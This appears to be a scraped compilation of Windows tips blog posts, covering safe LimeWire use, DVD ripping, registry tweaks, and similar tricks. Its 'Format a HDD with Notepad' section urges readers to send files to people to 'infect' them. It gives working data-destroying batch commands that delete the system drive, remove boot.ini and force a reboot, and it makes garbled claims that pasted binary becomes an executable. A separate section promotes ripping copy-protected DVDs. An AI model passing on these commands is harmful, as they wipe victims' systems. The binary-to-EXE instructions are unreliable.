If you’ve got some school-age kids, they’ve likely spent some time at a computer (yours or a friend’s), downloading from peer-to-peer ("P2P") networks like the Gnutella network, which can be accessed via the popular LimeWire program.

According to our research, many of you want to know how to best install LimeWire and use the program, without getting bit by a virus. Today, I’ll show you how.

How to Install LimeWire & Share Files

The company which makes LimeWire will tell you – this is very important – when you go to download the installation file and install LimeWire, you should only do so from the program’s official site! Doing so makes absolutely sure that you have a legitimate version of the program, without the inclusion of any malicious code. Please don’t download from other sources, especially from other P2P networks.

When you install LimeWire for the first time, it’s a good idea to make sure that the program is set to not automatically share any downloaded files. Despite what is often said in the mainstream (read: non-tech-savvy) press, it has been sharing or distributing files, not downloading or receiving them, that has ended up with so many people being brought into court.

One caveat: That setting doesn’t apply to downloads through the BitTorrent network, which LimeWire also supports. In a BitTorrent network (or "swarm"), everyone downloading a file is simultaneously distributing it!

Search Filtering

Please, make sure "Search Filtering" is on. Click on the Tools menu near the top, then Options. After the Options screen appears, click on Search, then Configure under Search Filtering. Make sure that the settings are such that programs (executable files) are not included in the search results. Virus code spreads easiest in executable files, opened on accident by users who may not know better.

You may think you’re downloading a photograph, but go to open the file, named HotChick.jpg.exe, which ends up, as my teacher might say, barfing all over your system.

Scan Everything!

While your top threat is from executable program files, any file you download can be infected with some kind of code. Remember, you’re not necessarily getting these files from a clean server, you’re getting them from other users, who may be unknowingly infected by something. It’s of critical importance to, before doing anything else with a file, to scan it with an updated anti-virus program. This is especially true for those of you who have enabled program downloads anyway.

If you have an antivirus software installed, be sure to keep it updated. Consult the program’s documentation. If you don’t have an anti-virus installed, try the AVG Free Edition.

Once the download is complete, right-click the file listing in your Library, then select Locate on Disk. This will open up your file manager and highlight the file. Right-click on that file, and select the appropriate command to scan your file. Your anti-virus will report to you any infected files, and prompt you to delete said file.

When scouring P2P networks like LimeWire, it pays to play safe. A few preventative steps, plus some common sense, adds up to a safer experience.

How to Copy DVDs That Are Copyright Protected (Windows)

I have been looking for a good free easy to use DVD ripper for a little while now that I can use to copy DVDs that are copyright protected (for backups). I came across this gem called WinX DVD Ripper which is a 6.5 MB download and which will have you ripping DVD’s with ease.

I have had a few favorites and they have all either become paid software or they have been crippled via updates. The movie industry is a hard cookie to have mad at ya…

So the lawyers get cease and desist letters out to the developers and hey why would a free app writer want a long drawn out battle in court? Most don’t and cave.

Please note that it depends where you live – but deciding to copy DVDs that are copyright protected might be illegal! Know your country/state laws regarding ripping DVD’s. I am sticking by my story that I back up all my DVD’s so my little one doesn’t destroy them and the $30 they cost!

So the new kid on the block is WinX DVD ripper. I put it through the normal tests and it is really easy to use! Let’s take a look

Let’s set up our options, load our DVD in our drive and see how it works.

You choose the format you want to convert to by clicking on the appropriate tab. I chose the first one which is AVI (my format of choice). Then I left all of the settings alone and just modified the path to output to above the settings here:

I left the folder name the same and changed the drive it was writing to. When I was done with the settings I made sure my DVD was in a DVD ROM and recognized by my system and then I hit the blue start button.

Now it was time to play the waiting game..

You have the option of shutting down your machine when the rip is complete or for the application to open the output folder when it is done. If you want either of these options to happen simply check the corresponding box.

Once the rip is complete you will have a video file in the format of your choice in the folder you specified a few steps earlier. If you did not change the path it will live in the same drive you installed the software in a directory called OutPutFolder.

For real – I have never seen a quicker or easier method to ripping. What do you guys use to do this dirty job? Care to share your favorite applications to copy copyright protected DVDs with us in the comments? We would love to hear from you!

Format a HDD with Notepad

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to format a HDD using a notepad. This is really cool.

Step 1. Copy The Following In Notepad Exactly as it says

01001011000111110010010101010101010000011111100000

Step 2. Save As An EXE Any Name Will Do

Step 3. Send the EXE to People And Infect

OR

IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code

format c:\ /Q/X — this will format your drive c:\

01100110011011110111001001101101011000010111010000
100000011000110011101001011100
0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your dirve d:\

01100110011011110111001001101101011000010111010000
100000011001000011101001011100
0010000000101111010100010010111101011000

format a:\ /Q/X — this will format your drive a:\

01100110011011110111001001101101011000010111010000
100000011000010011101001011100
0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.

01100100011001010110110000100000001011110100011000
101111010100110010111101010001
00100000011000110011101001011100011000100110111101
101111011101000010111001101001
0110111001101001

Try to figure out yourself rest
can’t spoonfeed
Its working.

Do not try it on your PC. Don’t mess around this is for educational purpose only

still if you cant figure it out try this:
go to notepad and type the following:
@Echo off
Del C:\ *.*|y save it as Dell.bat
want worse then type the following:


@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file

SPEED UP BROWSING WITH DNS trick.!!!

when you connect to a web site your computer sends information back and forth, this is obvious. Some of this information deals with resolving the site name to an IP address, the stuff that tcp/ip really deals with, not words. This is DNS information and is used so that you will not need to ask for the site location each and every time you visit the site. Although WinXP and win2000 has a pretty efficient DNS cache, you can increase its overall performance by increasing its size. You can do this with the registry entries below:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
“CacheHashTableBucketSize”=dword:00000001
“CacheHashTableSize”=dword:00000180
“MaxCacheEntryTtlLimit”=dword:0000fa00
“MaxSOACacheEntryTtlLimit”=dword:0000012d

make a new text file and rename it to dnscache.reg. Then copy and paste the above into it and save it. Then merge it into the registry.

Increase Dial up Download speed

Dial up Download speed is low and some time it can be unused for advanced user so to improve Dial up Download speed following registry editing is helpfull.

1. Direct in Regedit :
Open
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ Tcpip\Parameters

Edit as follows:
“SackOpts”=dword:00000001
“TcpWindowSize”=dword:0005ae4c
“Tcp1323Opts”=dword:00000003
“DefaultTTL”=dword:00000040
“EnablePMTUBHDetect”=dword:00000000
“EnablePMTUDiscovery”=dword:00000001
“GlobalMaxTcpWindowSize”=dword:0005ae4c

OR
[eminimall]
2. By .Reg file :
Open notepad & paste

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
“SackOpts”=dword:00000001
“TcpWindowSize”=dword:0005ae4c
“Tcp1323Opts”=dword:00000003
“DefaultTTL”=dword:00000040
“EnablePMTUBHDetect”=dword:00000000
“EnablePMTUDiscovery”=dword:00000001
“GlobalMaxTcpWindowSize”=dword:0005ae4c

>> Now save this file as speed.reg (in Windows). Execute it and observe the change!

How to make your name invisible in your profile?

For making your name invisible follow the steps:
1) Click on edit profile
2) Type ALT + 0173 in your first name and last name. (i.e. Type 0173 while pressing the ALT key of your keyboard.)
3) Click on Update

Image Expander

1) Open any profile whose display image you want to expand.
2) Copy the following text and paste it in your address bar

javascript:mwunm=128;void(setInterval(”mwunm++;document.images[2].width=mwunm”,5))

3) Hit ENTER key of your keyboard.

How to Keep age for Passwords

This security setting determines the period of time (in days) that a password can be used before the system requires the user to change it. You can set passwords to expire after a number of days between 1 and 999, or you can specify that passwords never expire by setting the number of days to 0. If the maximum password age is between 1 and 999 days, the Minimum password age must be less than the maximum password age. If the maximum password age is set to 0, the minimum password age can be any value between 0 and 998 days.

Note: It is a security best practice to have passwords expire every 30 to 90 days, depending on your environment. This way, an attacker has a limited amount of time in which to crack a user's password and have access to your network resources.

How to Do:- Click Run, Enter gpedit.msc
This will open group policy, Under Computer configuration, Click windows settings, Security settings, Account policies, Password policy.
Now on the right side you can see Maximum Password Age, open it and change the value of 90 days..you can change this to your own and click ok.
Now open Minimum Password Age and change it to 30 and click ok.

Easy Trick to hibernate your Computer

What is hibernate?
Hibernate allows you to pause and resume your work when you are not in a state of turning off your computer.

Trick:- Click start, click turn off computer, now Hold down Shift and you can see that Stand By has now changed to Hibernate. Once you Leave the Shift key it again turns back to Stand By.

How to Clear My Recent Documents Data?

This post will explain you how to Clear My Recent Documents Data.
My Recent Documents is a collection of last accesed files.
Fact:- It shows up to 15 files when you click start, My Recent Documents. But actually when you go to its source folder you can see a big list of files is being shown there.

Clearing:-
Step 1:- Go to My Computer, Localdisk C (Supposing your windows is being installed there)
Step 2:- Go to Documents and Settings folder, Click Tools, Folder Options, Select View Tab, Select Show hidden files and folders and click Apply and OK.
Step 3:- Select your User account name and open it, Now you could see Some new folders with light color.
Step 4:- Now select My Recent Documents folder and now you can see the files. click the one wich you dont want and close it and go to start and check the result.